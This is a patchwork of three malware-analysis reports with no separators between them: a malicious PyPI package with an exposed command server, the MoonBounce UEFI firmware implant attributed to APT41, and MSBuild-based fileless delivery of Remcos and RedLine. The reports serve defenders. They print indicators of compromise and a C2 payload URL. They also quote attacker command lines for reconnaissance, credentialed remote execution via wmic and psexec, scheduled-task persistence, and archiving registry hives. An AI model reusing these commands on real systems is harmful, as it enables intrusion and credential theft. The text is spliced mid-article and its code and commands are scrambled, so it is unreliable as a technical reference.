That was the case with the web host that was set up to communicate with compromised systems.


Instead, visitors were served a page from a Django application listing a variety of commands (see Figure 5).

When byte code bites Who checks the contents of compiled Python files


Figure 5: Uncovered web locations Fortunately for us, the Django application was configured in debug mode, with error descriptions that gave us a detailed list of reachable host paths.


Some of those we had already seen in the downloaded scripts used in the attack, but there were new paths that we had not seen, including: admin, uploaded_files, and download.


Figure 6: Password-protected file download form Still, some information was exposed by this oversight, even without knowing the password.


For example, command No. 7 in Figure 5 provides a way to download files by their ID using the command: download/<int:file_id>, where file_id is an integer and the files in question are numbered in sequential order, starting from 1.


As seen in Figure 6, the filename is also leaked without requiring authorization.


The sheer number of these mistakes might lead us to the conclusion that this attack was not the work of a state-sponsored actor and not an advanced persistent threat (APT).


While my team didn’t collect enough evidence to prove that assumption one way or another, harvesting the filenames by incrementing file ID let us determine that the attack was successful in some cases.


Our researchers still can’t say who or what the targets were.


However, we can confirm that developers did install the malicious PyPI package and that their machine names, usernames, and directory listings were harvested as a result.


The resulting filenames show that at least two targets were infected with username and hostname combinations desktop__desktop-7G-Series and Txxxx_Axxxx__LAPTOP-UH9S5HF2 (identifying information removed).


Some of the filenames suggest that additional malware commands include keylogging functionality.


It just happens to be a malicious module.


Compiled code from the .pyc file needed to be decompiled in order to analyze its content.


Figure 8: Inspector tool provided by PyPI security team


The discovery of malicious code in the fshec2 package underscores why the ability to detect malicious functions such as get_path is becoming more important for both security and DevSecOps teams.


Most application security solutions either do not focus on supply chain security or only perform source-code analysis as part of the package security inspection.


As seen with fshec2, analyzing this kind of file allows defenders to extract indicators of malicious intent, making security assessment much easier.


Figure 9: Behavior indicators and networking strings extracted from the decompiled PYC file using ReversingLabs Software Supply Chain Security.


Simple scanning of source code from open-source packages will miss this type of threat.


And, as the attackers press their advantage and become more sophisticated, even more advanced tools will be needed to make sure your developed code and software development infrastructure remains protected.


Indicators of Compromise (IoCs) Package name Version SHA1 fshec2 1.0.0 7be50d49efd1e8199decf84dc4623f58b8686161bab57a9aac8e138e4e2a9f8079fd50b7c1d31540 C2 server: 13.51.44.246 **


Read the original post at: https://www.reversinglabs.com/blog/when-python-bytecode-bites-back-who-checks-the-contents-of-compiled-python-files


What happened?

MoonBounce the dark side of UEFI firmware


At the end of 2021, we were made aware of a UEFI firmware-level compromise through logs from our Firmware Scanner, which has been integrated into Kaspersky products since the beginning of 2019.


Further analysis has shown that a single component within the inspected firmware’s image was modified by attackers in a way that allowed them to intercept the original execution flow of the machine’s boot sequence and introduce a sophisticated infection chain.


By examining the components of the rogue firmware and other malicious artefacts from the target’s network, we were able to reach the following conclusions:


The inspected UEFI firmware was tampered with to embed a malicious code that we dub MoonBounce; Due to its emplacement on SPI flash which is located on the motherboard instead of the hard disk, the implant is capable of persisting in the system across disk formatting or replacement; The purpose of the implant is to facilitate the deployment of user-mode malware that stages execution of further payloads downloaded from the internet; The infection chain itself does not leave any traces on the hard drive, as its components operate in memory only, thus facilitating a fileless attack with a small footprint; We detected other non-UEFI implants in the targeted network that communicated with the same infrastructure which hosted the the stager’s payload; By assessing the combination of the above findings with network infrastructure fingerprints and other TTPs exhibited by the the attackers; to the best of our knowledge the intrusion set in question can be attributed to APT41, a threat actor that’s been widely reported to be Chinese-speaking; In this report we describe in detail how the MoonBounce implant works, how it is connected to APT41, and what other traces of activity related to Chinese-speaking actors we were able to observe in the compromised network that could indicate a connection to this threat actor and the underlying campaign.


Revisiting the current state of the art in persistent attacks In the last year, there have been several public accounts on the ongoing trend of UEFI threats.


Notable examples include the UEFI bootkit used as part of the FinSpy surveillance toolset that we reported on, the work of our colleagues from ESET on the ESPectre bootkit, and a little-known threat activity that was discovered within government organisations in the Middle East, using a UEFI bootkit of its own (briefly mentioned in our APT trends report Q3 2021 and covered in more detail in a private APT report delivered to customers of our Threat Intelligence Portal).


The common denominator of those three cases is the fact that the UEFI components targeted for infection reside on the ESP (EFI System Partition), a storage space designated for some UEFI components, typically based in the computer’s hard drive or SSD.


The most notable elements of the ESP are the Boot Manager and OS loader, both invoked during the machine’s boot sequence and which also happen to be the subject of tampering in the case of the aforementioned bootkits.


This one is made up of implants found in the UEFI firmware within the SPI flash, a non-volatile storage external to the hard drive.


Such bootkits are not only stealthier (partially because of limited visibility by security products into this hardware component), but also more difficult to mitigate: flashing a clean firmware image in place of a malicious one can prove to be more difficult than formatting a hard drive and reinstalling an OS, which would typically eliminate ESP level threats.


MoonBounce is notable for being the third publicly revealed case of an implant from the latter class of firmware-based rootkits.


Previous cases included LoJax and MosaicRegressor, which we reported on during October 2020.


In that sense, MoonBounce marks a particular evolution in this group of threats by presenting a more complicated attack flow in comparison to its predecessors and a higher level of technical competence by its authors, who demonstrate a thorough understanding of the finer details involved in the UEFI boot process.


Our discovery: a sophisticated implant within UEFI firmware The UEFI implant, which was detected in spring 2021 , was found to have been incorporated by the attackers into the CORE_DXE component of the firmware (also known as the DXE Foundation), which is called early on at the DXE (Driver Execution Environment) phase of the UEFI boot sequence.


Among other things, this component is responsible for initializing essential data structures and function interfaces, one of which is the EFI Boot Services Table – a set of pointers to routines that are part of the CORE_DXE image itself and are callable by other DXE drivers in the boot chain.


The source of the infection starts with a set of hooks that intercept the execution of several functions in the EFI Boot Services Table, namely AllocatePool, CreateEventEx and ExitBootServices.


Those hooks are used to divert the flow of these functions to malicious shellcode that is appended by the attackers to the CORE_DXE image, which in turn sets up additional hooks in subsequent components of the boot chain, namely the Windows loader.


This multistage chain of hooks facilitates the propagation of malicious code from the CORE_DXE image to other boot components during system startup, allowing the introduction of a malicious driver to the memory address space of the Windows kernel.


This driver, which runs during the initial phases of the kernel’s execution, is in charge of deploying user-mode malware by injecting it into an svchost.exe process, once the operating system is up and running.


Finally, the user mode malware reaches out to a hardcoded C&C URL (i.e. hxxp://mb.glbaitech[.]com/mboard.dll) and attempts to fetch another stage of the payload to run in memory, which we were not able to retrieve.


The diagram below contains the outline of the stages taken from the moment the hooked Boot Services are called in the context of the DXE Foundation’s execution until the user-mode malware is deployed and run during the Operating System’s execution.


The full description of each step in the diagram, along with the analysis of both the MoonBounce driver and user-mode malware can be found in the technical document released alongside this report.


Flow of MoonBounce execution from boot sequence to malware deployment in user space Note that at the time of writing we lack sufficient evidence to retrace how the UEFI firmware was infected in the first place.


While previous UEFI firmware compromises (i.e. LoJax and MosaicRegressor) manifested as additions of DXE drivers to the overall firmware image on the SPI flash, the current case exhibits a much more subtle and stealthy technique where an existing firmware component is modified to alter its behaviour.


Notably, particular functions were modified with an inline hook, meaning the replacement of the function prologue with an instruction to divert execution to a function chosen by the attacker.


This would be possible for an attacker having ongoing and remote access to the targeted machine.


This malware was thoroughly covered by our colleagues at Trend Micro and ESET, so we will refer the reader to their excellent write-ups to understand its internals better.


The position-independent code constituting ScrambleCross can be loaded in one of two ways, the first being a C++ DLL named StealthVector.


It obtains the ScrambleCross shellcode by applying a modified ChaCha20 algorithm on an encrypted blob, which may reside as an additional file on disk or be embedded in the loader itself.


We detected both variants of this loader in the network in question.


StealthVector gets loaded through the introduction of a modified benign system DLL, in which the import address table is patched to append the malware’s DLL as a dependency.


In one case, we observed such altered wbemcomn.dll (MD5: C3B153347AED27435A18E789D8B67E0A) file, which originally facilitates the functionality of WMI in Windows and was located in the directory %SYSTEM%\wbem.


As a consequence, when the WMI service was initiated, the rogue version of this DLL forced the loading of a StealthVector image named wmiwk.dll.


Appended IAT entry to a rogue wbemcomn.dll file which forces the loading of StealthVector upon initiation of the WMI service The table below specifies all instances of StealthVector that we detected in the targeted network, along with timestamp artefacts that might point to the date of their creation.


Loader Filename Loader MD5 Shellcode Filename C&C Address Compilation Timestamp wbwkem.dll 4D5EB9F6F501B4F6EDF981A3C6C4D6FA compwm.bin dev.kinopoisksu[.]com Friday, 12.06.2020 08:25:02 UTC wkbem.dll E7155C355C90DC113476DDCF765B187D pcomnl.bin Unknown Tuesday, 24.03.2020 09:09:21 UTC wmiwk.dll 899608DE6B59C63B4AE219C3C13502F5 wmipl.dll ns.glbaitech[.]com Saturday, 20.02.2021 06:45:18 UTC c_20344.nls 4EF90CEEF2CC9FF3121B34A9891BB28D – 217.69.10[.]104 Tuesday, 24.03.2020 09:09:21 UTC c_20334.nls CFF2772C44F6F86661AB0A4FFBF86833 – st.kinopoisksu[.]com Tuesday, 24.03.2020 09:09:21 UTC Another loader that we detected and is commonly used to load ScrambleCross is .NET based, referred to as StealthMutant.


The injected process in every case we observed was msdt.exe (Microsoft Diagnostic Troubleshooting Wizard).


This is outlined in the following commands typed by the attackers on one of the compromised systems:net start "iscsiwmi" sc stop iscsiwmi sc delete iscsiwmi reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v


"iscsiwmi" /t


REG_MULTI_SZ /d


"ServiceDll" /t


Mail.Service.dll" /f net start "iscsiwmi" The launching utility in turn uses the .NET InstallUtil.exe application in order to execute the StealthMutant image, which has the filename Microsoft.Service.Watch.targets, and providing it with the encrypted ScrambleCross shellcode as an argument from a file named MstUtil.exe.config.


The utility itself is a basic C++ program that achieves the aforementioned goal by issuing the following command line using the WinExec API:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe


/logfile= /LogToConsole


=false /ConfigFile=MstUtil.exe.config /U C:\Windows\Microsoft.


Service.


Watch.targets


"%~dp0" copy /Y


"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.


MstUtil.exe.config "C:\Windows\Microsoft.


NET\Framework64\v4.0.30319\MstUtil.exe.config" schtasks /create


/TN "\Microsoft\Windows\UNP\UNPRefreshListTask" /SC ONSTART /TR


"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile=


/F /DELAY 0000:02 /RU SYSTEM /RL HIGHEST schtasks /run


It’s worth noting that most of the ScrambleCross shellcodes (loaded by both StealthMutant and StealthVector) reached out to the same server (i.e. ns.glbaitech[.]com) and that StealthMutant was observed in this campaign only from February, 2021.


Loader MD5 C&C Address Compilation Timestamp 0603C8AAECBDC523CBD3495E93AFB20C 92.38.178[.]246 Tuesday, 23.03.2021 08:00:44 UTC ns.glbaitech[.]com 8C7598061D1E8741B8389A80BFD8B8F5


ns.glbaitech[.]com Saturday, 20.02.2021 03:27:42 UTC F9F9D6FB3CB94B1CDF9E437141B59E16 ns.glbaitech[.]com Wednesday, 08.12.2021 07:07:28


UTC


In addition to the above components, we found other stagers and post-exploitation malware implants during our research, some of which were attributed to or have been used by known Chinese-speaking threat actors: Microcin: a backdoor typically used by the SixLittleMonkeys threat actor, which we have been tracking since 2016.


It is worth noting that since its inception, the SixLittleMonkeys group has been using Microcin against various targets, partly against high-profile entities based in Russia and Central Asia.


The implants we observed in this campaign are shipped as DLLs that ought to run in the context of exe, with the primary intent of reading a C2 address from an encrypted configuration file stored in %WINDIR%\debug\netlogon.cfg and reaching out to the server to obtain a further payload.


Interestingly, the Trojan holds a scheduling algorithm that would skip any work on Saturdays, checking the local time every hour to determine if Saturday has passed.


Go implant: a formerly unknown backdoor used to contact a C2 server using a RESTful API, where a combination of a hardcoded IP address and a hypermedia directory path on the underlying server are used for information exchange.


Both the IP and the server directory path are encrypted with AES-128 using a base64 encoded key stored in the backdoor’s image.


The IP and directory path tuple are used during execution for: Initialising communications with the server; Sending information from the infected host; Requesting a specific server path containing a command for execution and downloading it;


Sending back the result of the command’s execution to the C2 server.


The commands retrieved from the server are also encrypted with AES-128, with the key stored in the command’s file itself.


Command execution results are then encrypted using the same key.


We found the following list of supported commands: Get list of drives; Get content list from a specified directory; Download a file from the C2 server; Write text to a given *.bat file and execute it; Run a shell command.


It is important to note that we could not conclusively tie most of those additional pieces of malware to the intrusion set related to MoonBounce, with the exception of Microcin, where some timeline artefacts coincide with other events related to ScrambleCross, as outlined in the figure below.


Timeline of events related to artefacts found in the network containing the MoonBounce-infected machine Who were the targets?


Currently, our detections indicate a very targeted nature of the attack – the presence of the firmware rootkit was detected in a single case.


Other affiliated malicious samples (e.g. ScrambleCross and its loaders) were found on multiple other machines in the same network range.


One particular target corresponds to an organization in control of several enterprises dealing with transport technology.


What were the attackers trying to achieve?


This aligns in profile with some of the previous operations by APT41, wherein intrusions were typically made to intervene in the targeted companies’ supply chain, or to heist sensitive intellectual property and personally identifiable information.


The usage of the UEFI implant in particular indicates the actor’s aim to establish a longstanding foothold within the network, as would be expected in an ongoing espionage activity.


The following are examples of command lines that portray some of the methods and actions taken by the operators of this threat activity to achieve their goals: Attempts to enumerate hosts and gather network information: cmd /C


"C: & cd \ & whoami" cmd /C


"C: & cd \ & net view" cmd /C


"C: & cd \ & -setcp 866" cmd /C


"C: & cd \ & netstat -ano" cmd /C


"C: & cd \ & dir $temp\ /od" cmd /C


"C: & cd \ & arp -a" cmd /C


"C: & cd \ & tasklist" cmd /C


"C: & cd \ & tracert <redacted_internal_ip>" cmd /C


"C: & cd \ & net use \\<redacted_internal_ip> /u:<redacted_username> <redacted_password>" cmd /C


"C: & cd \ & net view \\<redacted_internal_ip>" cmd /C


"C: & cd \ & ping -n 1 -a <redacted_internal_ip>" cmd /C


"C: & cd \ & net use * /d /y" cmd /C


"C: & cd \ & echo ntdsutil \"ac


"C: & cd \ & move $temp\a.bat \\<redacted_internal_ip>\c$\windows\temp\\ Usage of the Sysinternals Psexec tool for remote command execution in the network (as the renamed version tmp): $temp\TS_P61S.tmp -accepteula -d -s \\<redacted_internal_ip1>\ cmd /c


/password:<readcted_password> process call create "cmd /c tracert <redacted_internal_ip4>>$temp\a.tmp wmic /node:<redacted_internal_ip3> /user:<redacted_group>\<redacted_user>


/password:<readcted_password> process call create "cmd /c ipconfig /all


>$temp\a.tmp wmic /node:<redacted_internal_ip3> /user:<redacted_group>\<redacted_user


> /password:<readcted_password> process call create "cmd /c qwinsta >$temp\a.tmp wmic /node:<redacted_internal_ip3> /user:<redacted_group>\<redacted_user>


/password:<readcted_password> process call create "cmd /c net user administrator >$temp\a.tmp wmic /node:<redacted_internal_ip3> /user:<redacted_group>\<redacted_user>


/password:<readcted_password> process call create "cmd /c net user admin >$temp\a.tmp Removal of artefacts from the system: cmd /C


"C: & cd \ & dir $temp\*.hive" cmd /C


"C: & cd \ & del $temp\*.hive" cmd /C


"C: & cd \ & dir $temp\*.log" cmd /C


"C: & cd \ & type $temp\silconfig.log" File archiving of remotely collected files, some of which contain *.hive files, possibly for LSA secrets dumping, with the exe command line utility: cmd /C


"C: & cd \ & $temp\rar.exe a -r wef.rar \\<redacted_internal_ip1>\c$\windows\temp\1 -hp2wsxcde34rfv7788.


" c:\windows\temp\rar.exe a -r c:\windows\temp\873.rar \\<redacted_internal_ip2>\c$\windows\temp\*.hive -hp5tgbnhy67ujm3256 Network infrastructure The main cluster of infrastructure serving the activity of the UEFI implant and ScrambleCross implants is outlined in the table below.


During the time the actor switched between multiple hosting providers, resulting in a scattered infrastructure across several ASNs.


Domain IP ASN mb.glbaitech[.]com 188.166.61[.]146 AS14061 – DIGITALOCEAN-ASN ns.glbaitech[.]com 188.166.61[.]146 AS14061 – DIGITALOCEAN-ASN 172.107.231[.]236 AS40676 dev.kinopoisksu[.]com 172.107.231[.]236 AS40676 193.29.57[.]161 AS48314 – IP-PROJECTS st.kinopoisksu[.]com 136.244.100[.]127 AS20473 – AS-CHOOPA – 217.69.10[.]104 AS20473 – AS-CHOOPA – 92.38.178[.]246 AS202422 –


GHOST A careful inspection of the infrastructure shows multiple connections between the servers.


It is evident that MoonBounce’s user-mode stager and a few ScrambleCross instances reached out to a single domain, which resolved to the same IP at one point.


In addition, there were several overlaps in IPs to which the domains resolved as outlined in the figure below, including one IP that was used to park two domains at different points in time.


Connections between infrastructure elements of MoonBounce and ScrambleCross implants found on the same network Another important commonality is a unique self-signed SSL certificate, exhibited by multiple servers in this campaign (and only a few dozen others in the wild), which represents a noteworthy fingerprint of the attacker’s network activity.


In addition to the above cluster, we detected two servers related to Microcin’s activity on the same network: Domain IP ASN m.necemarket[.]com 172.105.94[.]67 AS63949 – LINODE holdmem.dbhubspi[.]com 5.188.93[.]132 AS202422 – G-Core Labs Who is behind the MoonBounce attack?


In part, our findings align with multiple public accounts from the previous year of either APT41 or other threat actors, namely Earth Baku and SparklingGoblin, which are believed to be alternative names for APT41 or share significant resources and TTPs with it.


Our conclusion, in particular, is done based on the following factors: The loading schemes for ScrambleCross, including the usage of StealthVector and StealthMutant in the infection chain, are identical to those observed leveraged by Earth Baku and SparklingGoblin.


Apart from the loaders themselves, their launchers seem identical.


The attackers used the unique TTP of initiating the loader execution through exe in all cases observed by us.


Particularly Install.bat, as used by Earth Baku and described in the public report by Trend Micro mentioned earlier, is highly similar to the sequence of commands used to execute the InstallUtil launcher in our case.


The ScrambleCross malware itself, which has been reported in use with both Earth Baku and SparklingGoblin, is considered a variant of CROSSWALK, a piece of malware that was described originally by Mandiant as an APT41 tool and remains distinct to the group, to the best of our knowledge.


A unique certificate retrieved from multiple ScrambleCross C2 servers in the campaign described in this report was sent as a response in a few other dozen servers in the wild, a few of them have been previously reported by the FBI as being part of an APT41-owned infrastructure.


Additionally, the following observations are worth mentioning: The user-mode malware stager deployed by the UEFI implant contains a scheduling logic that is somewhat similar to one seen in Microcin samples (some of which were also found on infected hosts in this campaign).


This suggests that these groups may be related through shared resources or a prime contractor.


A similar scheduling methodology occurs in the case of Microcin, but with a bitmask that simply represents the days of the week on which the malware ought to be active.


Scheduling code used in MoonBounce’s user-mode stager


One recent example is its use in the campaigns of GhostEmperor, as described in a previous report.


Some elements of shellcode leveraged in MoonBounce were spotted in an old rootkit that was part of a malicious framework dubbed xTalker, which has been seen in the wild since at least 2013, alongside several malware families affiliated to known actors, e.g. NetTraveler, Enfal and Microcin.


It was prominently used against Russian-speaking targets including military, governmental entities and think-tanks.


Both components shared a similar name-hashing algorithm, which is outlined below, along with unique corresponding function name hashes (e.g. 0x311B83F, the name hash of ExAllocatePool) that were not seen in use elsewhere in the wild.


Name-hashing algorithm used identically in both MoonBounce and xTalker’s rootkit In addition, both pieces of code used a technique of replacing magic marker values within shellcode buffers with pointer addresses during runtime.


MoonBounce’s code used the marker 0x1122334455667788, while the xTalker rootkit’s code used 0x1234567812345678.


Magic marker values replaced during execution within shellcodes in xTalker’s rootkit and MoonBounce In the case of xTalker, the above code elements were found within shellcode intended to be staged through an MBR bootkit.


However, it is not clear to what extent it was actually used.


This may suggest that the MoonBounce and xTalker codes were authored by the same, or a closely affiliated, developer.


Conclusion In September 2020, the US Department of Justice released a series of indictments against members of the APT41 group, charging them with a high number of computer intrusions against a variety of targets, both in the private and public sectors, some of which included high-profile supply chain attacks.


The intrusion set described in this report, and in other public accounts we referred to, shows that the group did not cease to be active despite these legal proceedings.


Moreover, it is evident that the group maintains a high level of proficiency and sophistication in the development of its toolset, gaining a foothold in new areas like UEFI firmware.


In this sense, the group has introduced its own innovation to this landscape – patching an existing benign core component in the firmware (rather than adding a new driver to it), thereby turning the UEFI firmware into a highly stealthy and persistent storage for malware in the system.


With this in mind, vendors are taking more precautions to mitigate attacks like MoonBounce, for example by enabling Secure Boot by default.


Likewise, enabling Trust Platform Modules, in case a corresponding hardware is supported on the machine, is also advisable.


On top of all, a security product that has visibility into the firmware images should add an extra layer of security, alerting the user on a potential compromise if such occurs.


MoonBounce’ indicators of compromise EFI Rootkit – Malicious CORE_DXE D94962550B90DDB3F80F62BD96BD9858 Modified WMI DLL Launcher C3B153347AED27435A18E789D8B67E0A StealthVector 4D5EB9F6F501B4F6EDF981A3C6C4D6FA E7155C355C90DC113476DDCF765B187D 899608DE6B59C63B4AE219C3C13502F5 4EF90CEEF2CC9FF3121B34A9891BB28D CFF2772C44F6F86661AB0A4FFBF86833 InstallUtil Launcher 5F9020983A61446A77AF1976247C443D StealthMutant 0603C8AAECBDC523CBD3495E93AFB20C 8C7598061D1E8741B8389A80BFD8B8F5 F9F9D6FB3CB94B1CDF9E437141B59E16 Microcin 5FE6CE9C48D0AE98EC2CA1EC9759AAD9 50FF717A8E3106DDBF00FB42212879C5 D98614600775781673B6DF397CC4F476 Go Implant C9B250099E2DD27BB4170836AC480FE0 97EF7B8FCDCB0C0D9FBB93D0F7E6E3B6 Mimikat_SSP 4E4388D7967E0433D400C60475974D50 5F1C7602688E67F299F5BD533FA07880 xTalker Rootkit 45E862964EF4EFDEA181F3927D20E96D 4BC82105403974AA24BF02CFB66B8F7C Domains and IPs mb.glbaitech[.]com – MoonBounce ns.glbaitech[.]com – ScrambleCross dev.kinopoisksu[.]com – ScrambleCross st.kinopoisksu[.]com – ScrambleCross 188.166.61[.]146 – ScrambleCross 172.107.231[.]236 – ScrambleCross 193.29.57[.]161 – ScrambleCross 136.244.100[.]127 – ScrambleCross 217.69.10[.]104 – ScrambleCross 92.38.178[.]246 – ScrambleCross m.necemarket[.]com – Microcin 172.105.94[.]67 – Microcin holdmem.dbhubspi[.]com – Microcin 5.188.93[.]132 – Go malware 5.189.222[.]33 – Go malware 5.183.103[.]122 – Go malware 5.188.108[.]228 – Go malware 45.128.132[.]6 – Go malware 92.223.105[.]246 – Go malware 5.183.101[.]21 – Go malware 5.183.101[.]114 – Go malware 45.128.135[.]15 – Go malware 5.188.108[.]22 – Go malware 70.34.201[.]16 – Go malware File Names wbwkem.dll – StealthVector wkbem.dll – StealthVector wmiwk.dll – StealthVector C_20344.nls – StealthVector C_20334.nls – StealthVector compwm.bin – ScrambleCross Shellcode pcomnl.bin – ScrambleCross Shellcode wmipl.dll – ScrambleCross encrypted shellcode Microsoft.Service.Watch.targets – StealthMutant MstUtil.exe.config –


ScrambleCross encrypted shellcode System.Mail.Service.dll – InstallUtil launcher for StealthMutant schtask.bat – Batch launcher for StealthMutant CmluaApi.dll – Microcin ScrambleCross Mutexes Global\GouZUAkmtdpUmves Global\PtUojBxCOZGVmQQn Global\EGuUCpyYIJRTQJAV Global\YCtiqMgRrpLGbfDo


Authored by: Tara Gould and Gage Mele Key Findings Anomali Threat Research identified a campaign in which threat actors used Microsoft Build Engine (MSBuild) to filelessly deliver Remcos remote access tool (RAT) and password-stealing malware commonly known as RedLine Stealer This campaign, which has low or zero detections on antivirus tools, appears to have begun in April 2021 and was still ongoing as of May 11, 2021.

Threat Actors Use MSBuild to Deliver RATs Filelessly


We were unable to determine how the .proj files were distributed, and are unable to make a confident assessment on attribution because both RemcosRAT and RedLine Stealer are commodity malware.


The malicious MSBuild files we observed in this campaign contained encoded executables and shellcode, with some, hosted on Russian image-hosting site, “joxi[.]net.”


While we were unable to determine the distribution method of the .proj files, the objective of these files was to execute either Remcos or RedLine Stealer.


In addition, MSBuild has an inline task feature that enables code to be specified and compiled by MSBuild and executed in memory.


This ability for code to be executed in memory is what enables threat actors to use MSBuild in fileless attacks.


A fileless attack is a technique used by threat actors to compromise a machine while limiting the chances of being detected.[3]


Fileless malware typically uses a legitimate application to load the malware into memory, therefore leaving no traces of infection on the machine and making it difficult to detect.


An analysis by network security vendor WatchGuard released in 2021 showed a 888% increase in fileless attacks from 2019 to 2020, illustrating the massive growth in the use of this attack technique, which is likely related to threat actor confidence that such attacks will be successful.[4] MSBuild Project File (.proj) Analysis Analyzed File – imaadp32.proj MD5 – 45c94900f312b2002c9c445bd8a59ae6 The file we analyzed is called “imaadp32.proj,” and as shown in Figure 2 below, is an MSBuild project file (.proj).


For persistence, mshta is used to execute a vbscript that runs the project file, with a shortcut file (.lnk) added to the startup folder (Figure 3).


Figure 2 - MSBuild Project Schema for immadp32.proj Figure 3 - .lnk


def decode_array(dec_list, key): key_array =


xxZmgLbpuJ = 0 for position in list(range(256)): xxZmgLbpuJ


% 256 YAFIh = position_array[position] position_array[position] = position_array[xxZmgLbpuJ] position_array[xxZmgLbpuJ] = YAFIh DmqRsaOvxUH


xxZmgLbpuJ


[] for position in list(range(len(dec_list))): DmqRsaOvxUH


%= 256 xxZmgLbpuJ


+= position_array[DmqRsaOvxUH]


xxZmgLbpuJ %= 256 YAFIh = position_array[DmqRsaOvxUH] position_array[DmqRsaOvxUH] = position_array[xxZmgLbpuJ] position_array[xxZmgLbpuJ] = YAFIh new_array.append(dec_list[position] ^


position_array[((position_array[DmqRsaOvxUH]


% 256)]) return new_array Figure 5 - Python Script to Decode


The output decimal list from this function was then converted from bytes, resulting in an executable for the first block and shellcode for the second block.


Shellcode The malware and shellcode were allocated memory in the process space using VirtualAlloc.


After being copied into memory, the shellcode was executed using the callback function pointer in CallWindowProc, shown in Figure 6 below.


Other samples leverage the function Delegate.


DynamicInvoke instead.


Figure 6 - Shellcode and Payload Being Loaded Into Memory Figure 7 - Encoded shellcode in Project File The shellcode (encoded shown in Figure 7 above) calls, shown in Figure 8 below, were mainly: LoadLibraryW, VirtualAlloc, CreateProccessW, and ZwUnmapViewOfSection.


Figure 8 - Calls made by the shellcode Payloads RemcosRAT Analyzed File – MD5 – 04fc0ca4062dd014d64dcb2fe8dbc966 The payload from the project files was a remote access tool (RAT) called Remcos.


Remcos is a commercial software created by Breaking Security that, according to their user manual, can be used for remote control, remote admin, remote anti-theft, remote support and pentesting.[5]


However, Remcos has often been used by threat actors for malicious purposes.


The software, written in C++, enables full access to the infected machine with features including, but not limited to: Anti-AV Credential harvesting Gathering system information Keylogging Persistence Screen capture Script execution The themes used by actors to distribute Remcos have varied, including changes designed to adapt to themes or timeframes.


For example, recent Remcos campaigns were observed utilizing Tax Day lures.[6]


Additional functions Remcos has been known to utilize are shown in Table 1 below.


Table 1 - Remcos 2.6.0 Features Remote Scripting Notifications


Webcam Capture Remote Command Line Clear Logins Remote Chat File Manager Remote Input Microphone Capture SOCKS Proxy Keylogger Login Cleaner Screen Logger Local Utilities Browser History Registry Editor Password Recovery Visibility mode RedLine Stealer Analyzed File – rehoboams.exe MD5 – 6d3e8a2802848d259a3baaaa78701b97


In a similar MSBuild project file to the Remcos dropping .proj file, we found another project file named “vwnfmo.lnk“ where RedLine Stealer was dropped instead of Remcos, shown in Figure 13 below.


RedLine Stealer is written in .NET and has been observed stealing multiple types of data (full list shown in Table 2 below), including: : Cookies Credentials (chat clients, VPNs, crypto wallets, browser )


Crypto wallet NordVPN (existence of and credentials) Stored web browser information (credit card, username, and password)


Figure 13 - RedLine .NET


Information Stealer Figure 14 - RedLine Functions Figure 15 - Checks for NordVPN Installation Figure 15 above shows RedLine checking for NordVPN on the machine.


If the path exists, the next function of this malware is to check for the user config to steal the credentials.


This function also enables RedLine to steal credentials for additional installed applications.


Table 2 - Installs RedLine Scans for Chrome GameLauncher for Steam Filezilla Guarda Gecko Jaxx Armory Metamask Atomic Monero Coinom OpenVPN DesktopMessenger for Telegram NordVPN Discord ProtonVPN Electrum Tronlink Ethereum Yoroi Conclusion The threat actors behind this campaign used fileless delivery as a way to bypass security measures, and this technique is used by actors for a variety of objectives and motivations.


This campaign highlights that reliance on antivirus software alone is insufficient for cyber defense, and the use of legitimate code to hide malware from antivirus technology is effective and growing exponentially.


Focusing on cybersecurity training and hygiene, as well as a defense-in-depth strategy, are some recommended courses of action for countering this threat.


[2] Ibid.


[3] “What Is Fileless Malware?,” McAfee, accessed May 3, 2021, https://www.mcafee.com/enterprise/en-gb/security-awareness/ransomware/what-is-fileless-malware.html.


[4] “Internet Security Report – Q4 2020,” WatchGuard, accessed May 4, 2021, published March 30, 2021, https://www.watchguard.com/uk/wgrd-resource-center/security-report-q4-2020, 3.


Appendix A IOCs Project File Payload C2 Details 45c94900f312b2002c9c445bd8a59ae6 Remcos 04fc0ca4062dd014d64dcb2fe8dbc966 135.181.170.169:50845 d8a57534382a07cc0487b96350bca761 Remcos eb8b1d64429e00f2b3b49f886ee3b0b4 http://dl4.joxi.net/drive/2021/04/15/0048/3592/3153416/16/b8c104ce64.png d52d6bad3d11e9a72998608ccca572f5 Remcos 41c0bb6e89ad89af8eef7bec40d4acbb d66740b3ed3884c31d40e3747684411e RedLine 302207c3248257d4d9badf4bc4b75483 svhost-system-update.net:80 http://dl4.joxi.net/drive/2021/04/19/0048/3592/3153416/16/d07409594a.proj 43660f882cc5971ab83a810398487317 RedLine 6d3e8a2802848d259a3baaaa78701b97 37.1.206.16:7575 192b8ee95537dda7927ba3b45183e6a4 Remcos b8e9ce084d9d49f565f850c59b003bcf http://joxi.net/52ap4j7tkJER7m.proj 1ae425ac2890283ddcf11946e7e8f6ae QuasarRat 723f5e75239b66e3d08b83a131c7b66c 20621960888a6299123ce5a2df5eabba Remcos f174c03d177a04e81677e9c9a9eae0c8 27b62f7b4b285b880b8c81960aa60b15 Remcos cf45b793bc9ec86bfedfa165c01ede15 2d15a4c9184878e25bdf108bd58290b8 Remcos de2ff99ca086a8ad0f9b8027aef696ba 37bbbbc44c80ff4fe770ce78f6a37ebd Remcos 73790d28f4f8f0f4c402da66c8dc393f 603b1cc2d5488dcd8bb0a3b14429c88b Remcos 23c5bc4a2e69c3f171561b524ceb4098 62c8efb35b3b9c10e965ec5a236fed2d Remcos 4def35aedc86a946c13118e14127e0e9 a948e8d3222b9fa8ccbd091230098b78 Remcos 85c700ff566161c77a03f282fa48a246 ecdb2860af9ce2754d178c80e3303080 QuasarRat 7870a7c7e355d1fbf357c846d8bf2aea fe84ead033bfeaee70f84d8733b51e08 RedLine 4023e57ffbc87aa93621a7c2a6f0b425 Appendix B MITRE ATT&CK TTPs Matrix Technique ID Name Execution T1059.003 Windows Command Shell T1059.006 Python Persistence T1547.009 Shortcut Modification T1547.001


Registry Run Keys / Startup Folder Privilege Escalation T1548.002 Abuse Elevation Control:


